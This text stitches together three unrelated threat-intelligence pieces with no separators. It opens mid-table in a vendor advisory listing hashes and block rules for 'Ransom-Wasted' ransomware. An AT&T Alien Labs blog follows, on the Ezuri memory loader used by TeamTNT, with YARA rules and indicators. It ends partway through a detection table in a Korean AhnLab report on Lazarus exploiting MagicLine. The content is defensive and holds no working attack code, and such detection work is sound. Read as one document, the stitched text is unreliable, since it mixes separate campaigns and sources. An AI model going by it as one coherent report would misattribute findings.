| E3BF41DE3A7EDF556D43B6196652AA036E48A602BB3F7C98AF9DAE992222A8EB | | SHA256 | 905EA119AD8D3E54CD228C458A1B5681ABC1F35DF782977A23812EC4EFA0288A | | SHA256 | 7A45A4AE68992E5BE784B4A6DA7ACD98DC28281FE238F22C1F7C1D85A90D144A | | SHA256 | AB007094AFEC534A2AA64436F214866014A664E7399AEAF361790EDE5EEC6B56 | | SHA256 | EF7A9166C63D90CD5A4C5C58CB458DA4C967A2BAAB2AD433DE0AA20DFBF568F7 | | SHA256 | AE255679F487E2E9075FFD5E8C7836DD425229C1E3BD40CFC46FBBCECEEC7CF4 | | SHA256 | 4D7E4660C8E71D4D663DAC8EA2B8CDE6E07277B2839BEDA6AD88EB66F3F5A71B | | SHA256 | D054E9223A2665B1746727D7BF9B008181C2D60C6A20B27490E4ADB151560823 | | SHA256 | C9473B2E24732DE1C123C48DA231E5497E0EA5324A62C9B80BDD8DADFDB0FE3A | | SHA256 | 9744B5F5D07149C5619D7FEC67622B4E43BF3B28A803C2AB4121BE4080E2B165 | | SHA256 | 80FED3BC3510201687ED4DD3F6F56D5F8D2B14B87B065787BD97192A44B71B94 | | SHA256 | 9A4A06FECA395FCD3C11ADB8AD6FE21C8BA63A56ABC7B1C95F0ADEDC4EAA8D35 | | SHA256 | 37A30621364D3083424B24B0255FC8F5752D88C381600D840574E551C284FB6E | | SHA256 | 6D35B01DBE014C6EFC18D587C2BE5E12617E1681CC670BA5C49FE7EAD9DE780E | ### Minimum Content Versions: | Content Type | Version | |----------------------------------|---------| | V2 DAT (VirusScan Enterprise) | 9713 | | V3 DAT (Endpoint Security) | 4165 | ## Detection Summary | IOC | Scanner | Detection | |-------------------------------------------------------------------------------------------|-------------------------------------|------------------------------------| | BCDAC1A2B67E2B47F8129814DCA3BCF7D55404757EB09F1C3103F57DA3153EC8 | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-EC!0ED2CA539A01 | | | RP Dynamic | - | | AA05E7A187DDEC2E11FC1C9EAFE61408D085B0AB6CD12CAEAF531C9DCA129772 | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-EC!13E623CDFB75 | | | RP Dynamic | - | | 85F391ECD480711401F6DA2F371156F995DD5CFF7580F37791E79E62B91FD9EB | AVEngine V2 | Trojan-Cobalt trojan | | | AVEngine V3 | Trojan-Cobalt trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!3208A14C9BAD | | | RP Dynamic | - | | 5CD04805F9753CA08B82E88C27BF5426D1D356BB26B281885573051048911367 | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect.bx!572FEA5F025D | | | RP Dynamic | - | | 817704ED2F654929623D9D3E4B71CE0082EF4EADB3FE2D80C726E874DC6952A3 | AVEngine V2 | Ransom-Wasted | | | AVEngine V3 | Ransom-Wasted | | | JTI (ATP Rules) | ATP/Suspect!0d1241967ee4 | | | RP Static | - | | | RP Dynamic | - | | 887AAC61771AF200F7E58BF0D02CB96D9BEFA11DEDA4E448F0A700CCB186CE9D | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-EC!6B20EF8FB494 | | | RP Dynamic | - | | 8897DB876553F942B2EB4005F8475A232BAFB82A50CA7761A621842E894A3D80 | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-EC!ECB00E9A61F9 | | | RP Dynamic | - | | ED0632ACB266A4EC3F51DD803C8025BCCD654E53C64EB613E203C590897079B3 | AVEngine V2 | Trojan-Cobalt trojan | | | AVEngine V3 | Trojan-Cobalt trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-SS!EDBF07EACA4F | | | RP Dynamic | - | | E3BF41DE3A7EDF556D43B6196652AA036E48A602BB3F7C98AF9DAE992222A8EB | AVEngine V2 | Ransom-Wasted trojan | | | AVEngine V3 | Ransom-Wasted trojan | | | JTI (ATP Rules) | - | | | RP Static | Real Protect.bx!F67EA8E471E8 | | | RP Dynamic | - | | 905EA119AD8D3E54CD228C458A1B5681ABC1F35DF782977A23812EC4EFA0288A | AVEngine V2 | Packed-GCI!2CC4534B0 | | | AVEngine V3 | Packed-GCI!2CC4534B0DD0 | | | JTI (ATP Rules) | JTI/Suspect.196612!2cc4534b0dd0 | | | RP Static | Real Protect-EC!2CC4534B0DD0 | | | RP Dynamic | - | | 7A45A4AE68992E5BE784B4A6DA7ACD98DC28281FE238F22C1F7C1D85A90D144A | AVEngine V2 | Ransom-Wasted!2000DE399 | | | AVEngine V3 | Ransom-Wasted!2000DE399F4 | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!2000DE399F4C | | | RP Dynamic | - | | AB007094AFEC534A2AA64436F214866014A664E7399AEAF361790EDE5EEC6B56 | AVEngine V2 | Ransom-Wasted!33B80A574C | | | AVEngine V3 | Ransom-Wasted!33B80A574C64 | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-EC!33B80A574C64 | | | RP Dynamic | - | | EF7A9166C63D90CD5A4C5C58CB458DA4C967A2BAAB2AD433DE0AA20DFBF568F7 | AVEngine V2 | Ransom-Wasted!47EBBBD8 | | | AVEngine V3 | Ransom-Wasted!47EBBBD8CA06 | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!47EBBBD8CA06 | | | RP Dynamic | - | | AE255679F487E2E9075FFD5E8C7836DD425229C1E3BD40CFC46FBBCECEEC7CF4 | AVEngine V2 | GenericRXAA-AA!813B274EC331 | | | AVEngine V3 | GenericRXAA-AA!813B274EC331 | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!813B274EC331 | | | RP Dynamic | - | | 4D7E4660C8E71D4D663DAC8EA2B8CDE6E07277B2839BEDA6AD88EB66F3F5A71B | AVEngine V2 | Ransom-Wasted!8FE65F631 | | | AVEngine V3 | Ransom-Wasted!8FE65F63196D | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!8FE65F63196D | | | RP Dynamic | - | | D054E9223A2665B1746727D7BF9B008181C2D60C6A20B27490E4ADB151560823 | AVEngine V2 | Ransom-Wasted!9259850958F | | | AVEngine V3 | Ransom-Wasted!9259850958FF | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!9259850958FF | | | RP Dynamic | - | | C9473B2E24732DE1C123C48DA231E5497E0EA5324A62C9B80BDD8DADFDB0FE3A | AVEngine V2 | Ransom-Wasted!A091197C7 | | | AVEngine V3 | Ransom-Wasted!A091197C76CA | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!A091197C76CA | | | RP Dynamic | - | | 9744B5F5D07149C5619D7FEC67622B4E43BF3B28A803C2AB4121BE4080E2B165 | AVEngine V2 | Ransom-Wasted | | | AVEngine V3 | Ransom-Wasted | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!D47DE19B52F9 | | | RP Dynamic | - | | 80FED3BC3510201687ED4DD3F6F56D5F8D2B14B87B065787BD97192A44B71B94 | AVEngine V2 | Ransom-Wasted!1DE62A9B82 | | | AVEngine V3 | Ransom-Wasted!1DE62A9B82F4 | | | JTI (ATP Rules) | - | | | RP Static | Real Protect-PEE!E1216B076CA5 | | | RP Dynamic | - | | 9A4A06FECA395FCD3C11ADB8AD6FE21C8BA63A56ABC7B1C95F0ADEDC4EAA8D35 | AVEngine V2 | Ransom-Wasted!1CD3 | | | AVEngine V3 | Ransom-Wasted!1CD33F096A49 | | | JTI (ATP Rules) | JTI/Suspect.196612!eb1fd07eb54f | | | RP Static | Real Protect-PEE!EB1FD07EB54F | | | RP Dynamic | - | | 37A30621364D3083424B24B0255FC8F5752D88C381600D840574E551C284FB6E | AVEngine V2 | Ransom-Wasted!6D9AD19726C | | | AVEngine V3 | Ransom-Wasted!6D9AD19726C7 | | | JTI (ATP Rules) | - | | | RP Static | - | | | RP Dynamic | - | | 6D35B01DBE014C6EFC18D587C2BE5E12617E1681CC670BA5C49FE7EAD9DE780E | AVEngine V2 | Ransom-Wasted!9B5F5E7D1 | | | AVEngine V3 | Ransom-Wasted!9B5F5E7D14BD | | | JTI (ATP Rules) | - | | | RP Static | - | | | RP Dynamic | - | ## Minimum set of Manual Rules to improve protection to block this campaign IMPORTANT: Always follow best practices when you enable new rules and signatures. When you implement new rules or signatures, always set them to Report mode first and check the alerts generated. Resolve any issues that arise before setting the rules to Block. This step mitigates against triggering false positives and allows you to refine your configuration. For more information, see KB87843 - List of and best practices for Endpoint Security Dynamic Application Containment rules. ### Endpoint Security - Advanced Threat Protection: - **Rule ID: 4** Use GTI file reputation to identify trusted or malicious files ### Endpoint Security - Access Protection Custom Rules: - **Rule: 1** - Executables (Include): * - Subrules: - Subrule Type: Files - Operations: create - Targets (Include): ?:\users\*\appdata\roaming\*:bin - **Rule: 2** - Executables (Include): * - Subrules: - Subrule Type: Files - Operations: create - Targets (Include): - *.garminwasted - *.garminwasted_info ### VirusScan Enterprise - Access Protection Custom Rules: - **Rule: 1** - Rule Type: File - Process to include: * - File or folder name to block: *\users\*\appdata\roaming\*:bin - File actions to prevent: Create - **Rule: 2** - Rule Type: File - Process to include: * - File or folder name to block: *.garminwasted - File actions to prevent: Create - **Rule: 3** - Rule Type: File - Process to include: * - File or folder name to block: *.garminwasted_info - File actions to prevent: Create ### Aggressive set of Manual Rules to improve protection to block this campaign IMPORTANT: Always follow best practices when you enable new rules and signatures. When you implement new rules or signatures, always set them to Report mode first and check the alerts generated. Resolve any issues that arise before setting the rules to Block. This step mitigates against triggering false positives and allows you to refine your configuration. For more information, see KB87843 - List of and best practices for Endpoint Security Dynamic Application Containment rules. ### VirusScan Enterprise - Access Protection Rules: - Prevent programs registering to autorun - Prevent programs registering as a service ### Host Intrusion Prevention: - **Rule ID: 6053** Accessing other users home directory - **Rule ID: 990** New Startup Folder Program Creation - **Rule ID: 1148** CMD Tool Access by a Network Aware Application - **Rule ID: 1020** Windows Agent Shielding - File Access - **Rule ID: 412** Double File Extension Execution - **Rule ID: 6011** Generic Application Invocation Protection - **Rule ID: 2806** Attempt to create a hardlink to a file - **Rule ID: 6010** Generic Application Hooking Protection - **Rule ID: 344** New Startup Program Creation - **Rule ID: 2265** Delay Delete File Protection ### Endpoint Security - Dynamic Application Containment: - Modifying the Services registry location ### Endpoint Security - Exploit Prevention: - **Rule ID: 344** New Startup Program Creation
# Malware Using New Ezuri Memory Loader This blog was written by Ofer Caspi and Fernando Martinez of AT&T Alien Labs. Multiple threat actors have recently started using a Go language (Golang) tool to act as a packer and avoid Antivirus detection. Additionally, the Ezuri memory loader tool acts as a malware loader and executes its payload in memory, without writing the file to disk. While this technique is known and commonly used by Windows malware, it is less popular in Linux environments. The loader decrypts the malicious malware and executes it using `memfd_create`. When creating a process, the system returns a file descriptor to an anonymous file in `/proc/PID/fd/`, which is visible only in the filesystem. The loader, written in Golang, is taken from the "Ezuri" code on GitHub via the user guitmz. This user originally created the ELF loader around March 2019, when he wrote a blog about the technique to run ELF executables from memory and shared the loader on his GitHub. Additionally, a similar user ‘TMZ’ (presumably associated with the previously mentioned ‘guitmz’) posted this same code in late August, on a small forum where malware samples are shared. The guitmz user even ran tests against VirusTotal to prove the efficiency of the code, uploading a detected Linux.Cephei sample with 30/61 AV detections in VirusTotal, compared to the zero AV detections by the same sample hidden with the Ezuri code. The execution flow of the loader is to first decrypt the payload and then execute it from memory. Guitmz gave this sample the name Ezuri, probably after the card with the same name from the card game “Magic: The Gathering.” This card has the capability to “Regenerate another target Elf,” reflecting the malware’s capability of loading and executing an ELF file in memory. ## Code Review AT&T Alien Labs team accessed Guitmz’s upload of code for analysis. The tool is written in Golang and is intuitive to use. When executing, it first asks the path for the payload to be encrypted, along with the password to be used for AES encryption. If no password is given, the tool generates one, which is used to hide the malware within the loader. After the user's input, the packer compiles the loader with the payload encrypted within it, so it can be decrypted and executed in memory once it is placed in the victim’s system. To use the tool, the user will be requested to enter the file to be hidden, with a target process name as well as an optional AES key for encryption. ## TeamTNT AT&T Alien Labs has identified several malware authors leveraging the Ezuri loader in the last few months, including TeamTNT, which was the first identified. TeamTNT is a cybercrime group that has been active since at least April 2020, when the security firm Trend Micro first reported on them. The main focus of the group is to target Docker systems with misconfigurations, as well as unprotected and exposed management APIs, to later install DDoS bots and cryptominers in the infected systems. A few months after the Trend Micro report, in August 2020, Cado Security found new developments in the TeamTNT group. In October 2020, Palo Alto Networks Unit42 identified new variants of the cryptomining malware used by TeamTNT named “Black-T.” This sample first installs three network scanners and then inspects memory in an attempt to retrieve any type of credentials located in the memory. Additionally, Unit42 identified several German-language strings in some of the TNT scripts. The last sample identified by Palo Alto Networks Unit42 is actually an Ezuri loader. The decrypted payload is an ELF file packed with UPX, which is a known sample from TeamTNT, first seen in June 2020. The techniques and code similarities between the original tool, named Ezuri, and the one recently used by TeamTNT are vast. The most evident one being the 'ezuri' string in the compiled binary. Using this packer, the antivirus (AV) detection drops dramatically. Looking at the TeamTNT malware detections before using Ezuri packer, we see 28/62 AV detections of the malware, while the Ezuri packed version drops to only 3/64 AV detections. In addition to TeamTNT, there were several Gafgyt samples observed (popular IoT device malware with DDoS attacks purposes). ## Conclusion Several malware authors have been using an open source Golang tool to act as a malware loader, using a known technique to load the ELF binaries into memory and avoid using easy-to-detect files on disk. The authors use the open source tool Ezuri to load its previously seen payloads and avoid antivirus detections on the file. ## Detection Methods The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research. ### YARA RULES ```yara rule EzuriLoader : LinuxMalware { meta: author = "AT&T Alien Labs" type = "malware" description = "Detects Ezuri Golang loader." copyright = "AT&T Cybersecurity 2020" reference = "283e0172063d1a23c20c6bca1ed0d2bb" strings: $a1 = "ezuri/stub/main.go" $a2 = "main.runFromMemory" $a3 = "main.aesDec" condition: uint32(0) == 0x464c457f and filesize < 20MB and all of ($a*) } rule EzuriLoaderOSX : OSXMalware { meta: author = "AT&T Alien Labs" type = "malware" description = "Detects Ezuri Golang loader." copyright = "AT&T Cybersecurity 2020" reference = "da5ae0f2a4b6a52d483fb006bc9e9128" strings: $a1 = "ezuri/stub/main.go" $a2 = "main.runFromMemory" $a3 = "main.aesDec" $Go = "go.buildid" condition: (uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca) and $Go and filesize < 5MB and all of ($a*) } ``` ## Associated Indicators (IOCs) The following technical indicators are associated with the reported intelligence. | TYPE | INDICATOR | DESCRIPTION | |--------|-----------------------------------------------------------------------------------------------|---------------------------------| | SHA256 | 0a569366eeec52380b4462b455cacc9a788c2a7883b0a9965d20f0422dfc44df | ELF Golang dropper | | SHA256 | e1836676700121695569b220874886723abff36bbf78a0ec41cce73f72c52085 | OSX Golang dropper | | SHA256 | e15550481e89dbd154b875ce50cc5af4b49f9ff7b837d9ac5b5594e5d63966a3 | TeamTNT packed payload | | SHA256 | 35308b8b770d2d4f78299262f595a0769e55152cb432d0efc42292db01609a18 | Linux Cephei | | SHA256 | ddbb714157f2ef91c1ec350cdf1d1f545290967f61491404c81b4e6e52f5c41f | Ezuri packed Linux Cephei | | SHA256 | b494ca3b7bae2ab9a5197b81e928baae5b8eac77dfdc7fe1223fee8f27024772 | TeamTNT payload before Ezuri | | SHA256 | 751014e0154d219dea8c2e999714c32fd98f817782588cd7af355d2488eb1c80 | Ezuri packed TeamTNT payload |
# AhnLab Cyber Threat Intelligence Report **TLP: GREEN** **Operation Dream Magic** **부제**: Lazarus 조직의 매직라인 취약점 악용에 대한 7개월의 추적과 분석 **안랩 대응팀** **2023. 10. 13** ## 문서 등급에 대한 안내 발간물이나 제공되는 콘텐츠는 아래와 같이 문서 등급 별 허가된 범위 내에서만 사용이 가능합니다. | 문서 등급 | 배포 대상 | 주의 사항 | |-----------|-----------|------------| | TLP: RED | 특정 고객(사)에 한정하여 제공되는 보고서 문서. 수신자 외 복제 및 배포 불가 | | | TLP: AMBER | 제한된 고객(사)에 보고서 수신 조직(회사) 내부에서는 복제 및 배포 가능. 다만, 조직 외 교육 목적 등을 위해 사용될 경우 안랩의 허락 필수 | | | TLP: GREEN | 해당 서비스 내 누구나 이용 가능 보고서. 출처만 밝히면 내부 교육, 동종 업계, 보안 담당자 교육 자료로 활용 가능. 다만, 일반인 대상 발표자료에는 엄격히 제한 | | | TLP: WHITE | 자유 이용 가능 보고서. 상업적, 비상업적 이용 가능. 변형 등 2차적 저작물 작성 가능 | | **[중요] 참고사항** 본 보고서에는 현재까지 확인한 내용을 기반으로 분석가 의견이 다수 포함되어 있습니다. 분석가들마다 의견이 다를 수 있으며 새로운 근거가 확인되면, 본 보고서 내용도 사전 고지 없이 변경될 수 있습니다. 보고서에 통계와 지표가 포함되어 있는 경우 일부 데이터는 반올림되어 세부 항목의 합과 전체 합계가 일치하지 않을 수도 있습니다. 본 보고서는 저작권법에 의해 보호를 받는 저작물로서 어떤 경우에도 무단전재와 무단복제를 금지하며, 보고서 내용의 전부 또는 일부를 이용하고자 하는 경우에는 안랩의 사전 동의를 받아야 합니다. 만약 안랩의 동의 없이 전재 또는 복제를 하는 경우 저작권 관계법령에 의하여 민사 또는 형사 책임을 지게 되므로 주의가 필요합니다. ## 1. 프롤로그 Lazarus 조직은 국가가 배후인 것으로 알려진 해킹 조직으로 금전적인 이득, 자료 탈취 등의 목적으로 전 세계를 대상으로 꾸준히 해킹하고 있습니다. Lazarus 조직의 이니세이프 취약점을 악용한 워터링 홀을 간단하게 정리하면 언론사의 특정 기사에 악성 링크 삽입, 해당 기사를 클릭하는 기업, 기관이 해킹 대상, 국내 취약한 홈페이지를 C2로 악용하고 제한된 범위의 해킹을 위해서 IP 필터링 등을 사용했습니다. 이번 워터링 홀에서 악용하는 프로그램의 취약점이 매직라인으로 변경됐을 뿐 워터링 홀 과정은 과거 이니세이프 사례와 동일합니다. 안랩은 Lazarus 조직의 매직라인 취약점을 악용한 워터링 홀을 대응하기 위해서 여러 팀의 협업이 있었습니다. 매직라인 취약점을 탐지하기 위한 조건을 연구하고 백신에 업데이트해준 분석팀, 탐지된 PC가 고객일 경우 로그 및 샘플 수집 등 고객 대응을 해준 기술지원팀, 수집한 로그 분석 및 국가기관과의 소통을 담당한 대응팀 등 여러 팀의 협업이 있었습니다. 또한 안랩은 국가기관과도 정보 공유 및 협업을 통해서 Lazarus 조직의 매직라인 취약점을 악용한 워터링 홀을 추적하고 분석을 진행했으며, 매직라인 제조 기업의 이름 일부와 매직라인의 이름 일부를 조합하여 이번 작전을 "Operation Dream Magic"으로 명명했습니다. 본 보고서에서는 악성코드 분석 내용, 탐지 현황, 일부 기업의 협조로 수집한 로그 분석, 국가 기관과의 정보 공유 및 협업 등을 바탕으로 해석한 내용을 포함했으며, 이번 작전을 Lazarus 조직의 소행으로 판단한 근거에 대해서도 설명했습니다. 본 보고서는 안랩 대응팀, 분석팀, 기술지원팀, 일부 탐지 기업 그리고 국가기관의 협업으로 탄생한 결과물입니다. ## 2. 매직라인 취약점 탐지 현황 안랩은 Lazarus 조직의 매직라인 취약점에 의한 악성 행위를 탐지하고 대응할 수 있는 조건을 제품에 반영한 후 모니터링한 결과 2023.01월부터 2023.07월까지 7개월 동안 총 40곳의 기업, 기관에서 105건을 탐지했으며, 탐지한 105건도 추가 분석을 통해서 모두 정탐임을 검증했습니다. ### 월별 매직라인 취약점 탐지 현황 (중복 포함) - 2023-01: 2건 - 2023-02: 15건 - 2023-03: 12건 - 2023-04: 22건 - 2023-05: 17건 - 2023-06: 17건 - 2023-07: 20건 안랩이 탐지한 105건은 단순히 수치상으로만 보면 매우 작은 수치이므로 심각하지 않다고 판단할 수 있지만 해킹 주체가 Lazarus 조직이며, 해킹 대상은 개인이 아닌 기업이나 기관이라는 점은 매우 중요한 대목입니다. 그 이유는 만약 Lazarus 조직의 해킹으로 중요한 자료가 유출됐다면 해당 해킹 대상뿐만 아니라 국가적으로도 큰 손실이나 안보 위협이 발생할 수 있기 때문입니다. 안랩이 탐지한 105건은 아래 2가지 항목으로 설명할 수 있습니다. - 분야별 탐지 현황 - 버전별 탐지 현황 **[참고]** 해킹 대상을 특정할 수 있는 구체적인 정보는 여러 가지 상황을 고려하여 언급하지 않았지만 언론을 통해서 이미 기사화된 경우 해킹 대상을 대략적으로 언급했습니다. ### (1) 분야별 탐지 현황 105건의 탐지를 분야별로 살펴보면 IT가 45건으로 가장 많으며, 방산 14건, 언론 14건 순입니다. 그리고 주요 분야를 중심으로 중요하다고 판단되는 사례만 설명했습니다. | 분야 | 탐지 건수 | |------|------------| | IT | 45 | | 방산 | 14 | | 언론 | 14 | | 제조 | 8 | | 금융 | 6 | | 기관 | 6 | | 바이오 | 3 | | 교육 | 1 | | 노동 | 1 | | 중공업 | 1 | | 미상 | 6 | #### 1) IT 분야 45건으로 가장 많은 탐지 건수를 차지하고 있는 IT 분야에는 IT 솔루션 제조 기업, 계열사 IT 인프라 관리 기업 등이 포함되어 있습니다. IT 솔루션 제조 기업은 과거 해킹 조직의 해킹 사례에 비춰보면 초기 침투나 내부 전파가 목적일 경우 해킹 대상이 사용하는 IT 솔루션을 악용했습니다. 그 이유는 해킹 대상을 직접 해킹하는 것보다 IT 솔루션 제조 기업을 해킹하여 습득한 정보로 해킹 대상을 해킹하면 효과적이고, 성공률을 높일 수 있기 때문입니다. 아래 [표 1]은 IT 솔루션 제조 A 기업의 매직라인 취약점 탐지 로그로 2023-05-23일 최초 탐지를 시작으로 07월까지 총 5대의 PC에서 8건이 탐지됐으며, 악성코드 감염과 그로 인해 일부 PC는 C2와 통신했음을 확인했습니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-07-25 11:43:54 | PC 5 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.14 | | 2023-07-21 09:46:45 | PC 4 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.14 | | 2023-07-20 12:43:58 | PC 4 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.14 | | 2023-07-20 10:01:15 | PC 3 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.20 | | 2023-07-19 13:16:17 | PC 3 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.20 | | 2023-07-10 22:41:54 | PC 2 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.9 | | 2023-07-07 13:39:14 | PC 2 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.9 | | 2023-05-23 16:33:48 | PC 1 | ***.***.***.178 (KR) | IT A | IT | 1.0.0.20 | **[표 1] IT 솔루션 제조 A 기업의 매직라인 취약점 탐지 로그** 아래 [표 2]에서 금융 보안 솔루션 제조 기업 IT B, C는 각각 2016년 Andariel 조직의 해킹으로 내부 정보 유출, 2020년 Lazarus 조직의 공급망 공격에 악용 피해가 발생했던 기업입니다. 추가로 Lazarus 조직은 2021년부터 IT B의 이니세이프 취약점을 해킹에 악용했습니다. 그리고 IT D는 DLP 솔루션, IT E는 DRM 솔루션 제조 기업으로 두 기업의 홈페이지에 공개된 고객 레퍼런스에는 주요 기업, 기관이 포함되어 있습니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-06-29 15:25:17 | PC 1 | ***.***.***.9(KR) | IT B | IT | 1.0.0.14 | | 2023-06-27 13:23:32 | PC 1 | ***.***.***.78(KR) | IT C | IT | 확인 불가 | | 2023-06-13 10:04:30 | PC 1 | ***.***.***.78(KR) | IT C | IT | 확인 불가 | | 2023-03-20 09:22:31 | PC 1 | ***.***.***.78(KR) | IT C | IT | 확인 불가 | | 2023-06-26 11:39:03 | PC 2 | ***.***.***.140(KR) | IT D | IT | 1.0.0.9 | | 2023-06-19 17:08:00 | PC 1 | ***.***.***.140(KR) | IT D | IT | 1.0.0.14 | | 2023-05-31 10:25:05 | PC 1 | ***.***.***.140(KR) | IT D | IT | 1.0.0.14 | | 2023-07-13 10:42:50 | PC 1 | ***.***.***.129(KR) | IT E | IT | 1.0.0.20 | **[표 2] 금융, 데이터 보안 솔루션 제조 기업의 매직라인 취약점 탐지 로그** 위 [표 1, 2]를 종합하면 Lazarus 조직이 IT 솔루션 제조 기업을 해킹하는 것은 해당 기업에 대한 정보 수집과 함께 수집한 정보를 고객 해킹에 악용할 목적이라고 판단했습니다. 이번 사례와 관련없지만 Lazarus 조직은 2022년 5월 국내 기업을 해킹할 목적으로 해당 기업에서 사용하는 특정 솔루션의 운영 방식을 정확하게 파악하여 악성코드 유포에 사용할 수 있는 또 다른 악성코드를 제작했으며, 아래 [그림 1]은 해당 악성코드의 내부 코드입니다. 특정 솔루션 구축 문제 등 제약 사항이 있어서 아래 악성코드의 정확한 동작 여부를 확인하지 못했지만 위에서 설명한 IT 솔루션 제조 기업과 고객에 대한 잠재적인 보안 위협을 증명하는 예시론 충분하다고 판단합니다. **[그림 1] 특정 솔루션을 악용하는 악성코드의 코드** 매직라인 취약점이 탐지된 IT 솔루션 제조 기업 5곳은 자사 홈페이지에 고객 레퍼런스를 공개하고 있습니다. 기업은 신규 고객 확보를 위해서 고객 레퍼런스를 공개할 수 있지만 보안 측면에선 IT 솔루션 제조 기업과 고객 모두에게 잠재적으로 보안 위협이 될 수 있으며, 해킹 조직은 고객 레퍼런스를 고객 현황 파악, 해킹 대상 선정, 해킹 계획 수립 및 실행에 매우 유용한 정보로 사용할 수 있습니다. 따라서 IT 솔루션 제조 기업도 어려운 숙제이지만 고객 레퍼런스를 최소한으로 노출시킬 수 있는 정보 공개 방법에 대해서 고민이 필요합니다. 본 보고서에서는 위 [표 1, 2]의 IT 제조 기업 5곳의 고객 레퍼런스는 인용하지 않았습니다. 계열사 IT 인프라 관리 기업도 위에서 설명한 IT 솔루션 제조 기업과 비슷한 맥락으로 해킹 대상을 직접 해킹하기보다 해킹 대상에게 IT 인프라 구축, 운영 등 전반적인 IT 서비스를 제공하며, 해킹 대상의 IT 인프라에 대해 잘 알고 있는 계열사 IT 인프라 관리 기업을 해킹하는 것이 효과적이며, 성공률을 높일 수 있습니다. 경우에 따라 해킹한 계열사 IT 인프라 관리 기업을 경유하여 모든 계열사의 IT 인프라에 접근할 수 있는 상황이 발생할 수 있습니다. 아래 기사는 위 설명을 뒷받침하는 유사한 사례의 예시입니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-04-18 10:40:56 | PC 1 | ***.***.***.4(KR) | IT F | IT | 확인 불가 | | 2023-05-16 10:52:51 | PC 1 | ***.***.***.35(KR) | IT F | IT | 확인 불가 | | 2023-05-17 15:34:54 | PC 2 | ***.***.***.8(KR) | IT F | IT | 확인 불가 | | 2023-05-29 16:01:46 | PC 3 | ***.***.***.8(KR) | IT F | IT | 1.0.0.20 | | 2023-06-12 10:31:56 | PC 1 | ***.***.***.8(KR) | IT F | IT | 확인 불가 | | 2023-06-12 11:26:02 | PC 4 | ***.***.***.8(KR) | IT F | IT | 1.0.0.9 | | 2023-03-20 10:33:04 | PC 1 | ***.***.***.23(KR) | IT G | IT | 확인 불가 | | 2023-04-26 09:42:29 | PC 1 | ***.***.***.23(KR) | IT G | IT | 확인 불가 | | 2023-04-26 16:10:10 | PC 2 | ***.***.***.165(KR) | IT G | IT | 1.0.0.20 | | 2023-05-03 09:59:38 | PC 3 | ***.***.***.22(KR) | IT G | IT | 확인 불가 | | 2023-05-05 10:46:34 | PC 4 | ***.***.***.28(KR) | IT G | IT | 확인 불가 | **[표 3] IT 인프라 관리 기업의 매직라인 취약점 탐지 로그** #### 2) 방산 분야 방산은 전 세계적으로 국가의 핵심 분야 중 하나로 해킹 조직에 의해서 꾸준히 해킹이 발생하고 있으며, 그 중 일부는 해킹 성공으로 중요한 자료가 유출되는 피해가 발생했습니다. 그리고 해킹 사례 중 일부가 언론을 통해 보도되면서 이슈가 됐던 적도 있습니다. 이처럼 해킹 조직이 방산 기업을 해킹하는 이유는 탈취한 자료를 자국의 방산 기술 개발에 사용할 목적이 가장 크기 때문으로 피해 방산 기업과 국가에게 해킹이라는 사이버 안보 위협이 물리적인 안보 위협으로까지 발전할 수 있음을 증명해주고 있습니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-03-20 15:55:17 | PC 1 | ***.***.***.211(KR) | 방산 A | 방산 | 1.0.0.20 | | 2023-03-24 15:48:55 | PC 2 | ***.***.***.211(KR) | 방산 A | 방산 | 확인 불가 | | 2023-03-29 10:54:45 | PC 3 | ***.***.***.211(KR) | 방산 A | 방산 | 1.0.0.14 | | 2023-03-30 15:26:06 | PC 4 | ***.***.***.211(KR) | 방산 A | 방산 | 확인 불가 | | 2023-04-14 15:47:02 | PC 5 | ***.***.***.211(KR) | 방산 A | 방산 | 1.0.0.20 | | 2023-02-13 16:36:23 | PC 1 | ***.***.***.35(KR) | 방산 B | 방산 | 1.0.0.14 | | 2023-02-15 11:15:33 | PC 2 | ***.***.***.35(KR) | 방산 B | 방산 | 1.0.0.20 | | 2023-02-16 16:50:52 | PC 3 | ***.***.***.35(KR) | 방산 B | 방산 | 1.0.0.9 | | 